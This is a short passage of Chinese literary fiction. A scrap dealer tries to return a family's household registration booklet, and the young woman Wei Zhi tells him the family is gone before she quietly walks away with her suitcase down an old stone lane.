魏芷沉浸在自己的思绪中时,忽然有人从身后拍了拍她的肩膀。她回头之后,发现是一个身穿旧衬衫的中年男人。 “小姑娘,你认识这一家人吗?” “有什么事吗?”魏芷问。 “哦,是这样的。这户人家之前卖废品给我,太马虎了,连户口本也装在衣服里给我了。这两天我清货的时候才发现,这不赶紧就送过来——他们是搬走了吗?” “他们不在了。”魏芷客气地说。 “这样啊,那也没办法了……”中年男人摸了摸后脑勺,狐疑道:“不过,我是不是在哪儿听过你的声音?” 魏芷朝他微微一笑,转身朝来时路走去。 行李箱在石板路上发出的声音单调而有节奏,轮子与老石板接触的地方,每一声轻颠都如同心跳,回响在静谧的小巷中,仿佛在计数着她逐渐远去的时光。 她头也不回地消失在人来人往的街头。